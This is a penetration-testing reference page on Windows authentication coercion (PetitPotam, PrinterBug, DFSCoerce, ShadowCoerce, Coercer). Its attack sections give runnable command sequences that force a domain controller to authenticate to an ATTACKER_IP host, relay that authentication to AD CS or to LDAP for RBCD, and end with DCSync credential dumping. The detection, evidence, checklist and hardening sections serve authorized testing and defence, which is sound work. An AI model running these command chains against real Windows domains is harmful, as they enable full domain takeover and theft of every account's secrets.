Coercion Attacks
Force Windows servers to authenticate to attacker-controlled systems, enabling NTLM relay attacks, credential capture, and privilege escalation to Domain Admin.
Danger
Attack Overview
Coercion attacks abuse Windows RPC protocols to force a target machine to authenticate to an attacker-controlled server. Combined with relay attacks, this can escalate to DA.
Force auth from DC
Intercept NTLM auth
LDAP/HTTP/SMB relay
DCSync or RBCD
PetitPotam (MS-EFSRPC)
Abuse the Encrypting File System Remote Protocol to force authentication. Works unauthenticated on older systems, or with any valid domain credentials.
# Unauthenticated (works on unpatched systems)
python3 PetitPotam.py ATTACKER_IP DC_IP
# Authenticated (more reliable)
python3 PetitPotam.py -u user -p 'Password123' -d corp.local ATTACKER_IP DC_IP
# With hash
python3 PetitPotam.py -u user -hashes :NTHASH -d corp.local ATTACKER_IP DC_IP
# Combined with ADCS relay
# Terminal 1: Start relay
ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Terminal 2: Trigger coercion
python3 PetitPotam.py -u user -p 'Password123' -d corp.local ATTACKER_IP DC_IPPrinterBug (MS-RPRN)
The classic "Printer Bug" abuses the Print Spooler service to trigger authentication. Requires spooler service running on target.
# Check if spooler is running
rpcdump.py DC_IP | grep -i spoolss
# Python printerbug
python3 printerbug.py corp.local/user:Password123@DC_IP ATTACKER_IP
# SpoolSample from Windows
SpoolSample.exe DC_IP ATTACKER_IP
# Coercer - Universal tool
python3 Coercer.py -u user -p 'Password123' -d corp.local -t DC_IP -l ATTACKER_IP --filter-method-name MS-RPRNDFSCoerce (MS-DFSNM)
Abuse Distributed File System namespace management protocol for coercion.
# DFSCoerce
python3 dfscoerce.py -u user -p 'Password123' -d corp.local ATTACKER_IP DC_IP
# Using Coercer
python3 Coercer.py -u user -p 'Password123' -d corp.local -t DC_IP -l ATTACKER_IP --filter-method-name MS-DFSNMShadowCoerce (MS-FSRVP)
Abuse File Server VSS Agent protocol for coercion on systems with this service enabled.
# ShadowCoerce
python3 shadowcoerce.py -u user -p 'Password123' -d corp.local ATTACKER_IP DC_IP
# Using Coercer
python3 Coercer.py -u user -p 'Password123' -d corp.local -t DC_IP -l ATTACKER_IP --filter-method-name MS-FSRVPCoercer - Universal Tool
Coercer is a comprehensive tool that tests multiple coercion methods automatically.
# Install Coercer
pip install coercer
# Scan for vulnerable methods
python3 Coercer.py scan -u user -p 'Password123' -d corp.local -t DC_IP
# Coerce using all methods
python3 Coercer.py coerce -u user -p 'Password123' -d corp.local -t DC_IP -l ATTACKER_IP
# Filter specific protocols
python3 Coercer.py coerce -u user -p 'Password123' -d corp.local -t DC_IP -l ATTACKER_IP --filter-protocol-name MS-EFSRPC,MS-RPRN
# WebDAV coercion (forces HTTP)
python3 Coercer.py coerce -u user -p 'Password123' -d corp.local -t DC_IP -l ATTACKER_IP@80/test --filter-protocol-name MS-EFSRPCFull Attack Chain: Coercion → ADCS → DCSync
Complete privilege escalation from domain user to Domain Admin using coercion and ADCS.
Coercion to AD CS to DCSync — four steps across three trust boundaries
Scroll sideways to see the whole diagram
# Terminal 1 — the relay must be listening before the coercion fires
ntlmrelayx.py -t http://CA_SERVER/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Terminal 2 — trigger the coercion
python3 PetitPotam.py -u user -p 'Password123' -d corp.local ATTACKER_IP DC_IP
# Terminal 1 — the DC$ certificate is written to disk; request its TGT, then DCSync
certipy auth -pfx dc.pfx -dc-ip DC_IP
export KRB5CCNAME=dc.ccache
secretsdump.py -k -no-pass DC_IPAlternative: Relay to LDAP for RBCD
# When ADCS isn't available, relay to LDAP for RBCD
# Requires LDAP signing not enforced
# Step 1: Create computer account
addcomputer.py -computer-name FAKE01$ -computer-pass 'Password123' corp.local/user:Password123
# Step 2: Start relay with RBCD delegation
ntlmrelayx.py -t ldap://DC_IP --delegate-access --escalate-user FAKE01$
# Step 3: Coerce authentication
python3 PetitPotam.py -u user -p 'Password123' -d corp.local ATTACKER_IP DC_IP
# Step 4: Get service ticket via S4U
getST.py -spn cifs/DC_IP -impersonate Administrator -dc-ip DC_IP corp.local/FAKE01$:'Password123'
# Step 5: Use ticket
export KRB5CCNAME=Administrator@corp.local.ccache
secretsdump.py -k -no-pass DC_IPDetection & Blue Team
Blue Team Indicators
Coercion is only visible as a pair: the RPC call on the target and the inbound authentication on your host. Neither alone is conclusive, which is why the detection below is written as correlations rather than single events.
- • 4624 network logon from a DC to an unusual host, or from a server to a workstation
- • SMB or HTTP connections from DCs to non-standard destinations
- • RPC calls to MS-EFSRPC, MS-RPRN, MS-DFSNM or MS-FSRVP endpoints from non-management hosts
- • Certificate requests from machine accounts immediately after an inbound authentication
- • LDAP modifications setting
msDS-AllowedToActOnBehalfOfOtherIdentity
Coercion Methods Reference
| Method | Protocol | Auth Required | Notes |
|---|---|---|---|
| PetitPotam | MS-EFSRPC | Optional* | Most reliable, patched for unauth |
| PrinterBug | MS-RPRN | Yes | Requires Print Spooler |
| DFSCoerce | MS-DFSNM | Yes | Works on most DCs |
| ShadowCoerce | MS-FSRVP | Yes | Requires VSS Agent |
| CoerceChecker | Multiple | Yes | Tests many methods |
External Resources
PetitPotam - GitHub
Original PetitPotam tool
Coercer - GitHub
Universal coercion tool
DFSCoerce - GitHub
MS-DFSNM coercion
HackTricks - Coercion
Comprehensive coercion guide
Practice Labs
Practice coercion attacks in safe environments
Evidence Collection
The trigger:
The command that coerced authentication, the protocol it used (MS-EFSRPC, MS-RPRN) and the timestamp.
The callback: The inbound authentication from the target — a Responder or relay log line showing the source machine account, not just a listener that received nothing.
The relay target: Where the authentication was relayed to, and what it achieved: a certificate, an RBCD write, a session.
The impact: One action in the resulting context. A coerced authentication with no relay target is a precondition, not a finding.
CVSS range: Coercion to LDAP for RBCD: 8.1–8.8 · coercion to AD CS (ESC8) for a DC certificate: 9.8 · coercion with no relay path: informational.
False Positive Identification
- A machine account authenticating to you: That is the technique working. What matters is whether the authentication was relayed somewhere useful — otherwise report it as a coercion primitive, not a compromise.
- A DC talking to a file server: DCs authenticate to member servers constantly for SYSVOL, backups and management tooling. The signal is the destination being your host.
- PrinterBug returning an error: A spooler that is disabled returns an RPC error; the coercion did not happen. Confirm the callback before writing the finding.
- PetitPotam on a patched DC: The unauthenticated variant is patched. An authenticated attempt may still work — record which one you ran.
- An SMB connection from a DC to a non-standard port: Monitoring agents and vulnerability scanners do this. Correlate with your own listener before alerting on the client’s behalf.
- A certificate issued to a machine account: Auto-enrolment issues these routinely. The tell is a certificate request that follows a coerced authentication from the same host.
Testing Checklist
Set up the target first
- ☐ Decide the relay destination before triggering: LDAP(S) for RBCD, AD CS for a certificate
- ☐ Confirm the destination is not patched for the relay you intend
- ☐ Start the listener and confirm it is reachable from the target
- ☐ Note the spooler and EFSRPC state on each candidate
Trigger, capture, prove
- ☐ Run one method at a time and capture the callback
- ☐ Record the protocol and whether authentication was required
- ☐ Complete the chain to one action, then stop
- ☐ Remove any RBCD attribute or computer account the relay created
- ☐ Tell the client which service was disrupted, if any
Remediation & Hardening
Remove the primitives
- • Disable the Print Spooler service on domain controllers and on servers that do not print
- • Apply the PetitPotam and DFSCoerce patches, and confirm EFSRPC is not exposed where it is not needed
- • Disable the WebClient service where WebDAV is not in use
Break the relay
- • Enable LDAP signing and channel binding — a relay to LDAP without them is the RBCD path
- • Enable EPA on AD CS web enrolment, or disable HTTP enrolment entirely and require HTTPS with EPA
- • Require SMB signing on servers, and block DCs from initiating outbound SMB/HTTP to workstations
Detect the sequence
- • Alert on 4624 network logons from a DC to a host that is not a server
- • Watch certificate requests from machine accounts outside the enrolment window
- • Log RPC calls to MS-EFSRPC, MS-RPRN and MS-DFSNM endpoints from non-management hosts
- • Alert on 5136 for RBCD attribute changes that follow a logon from a DC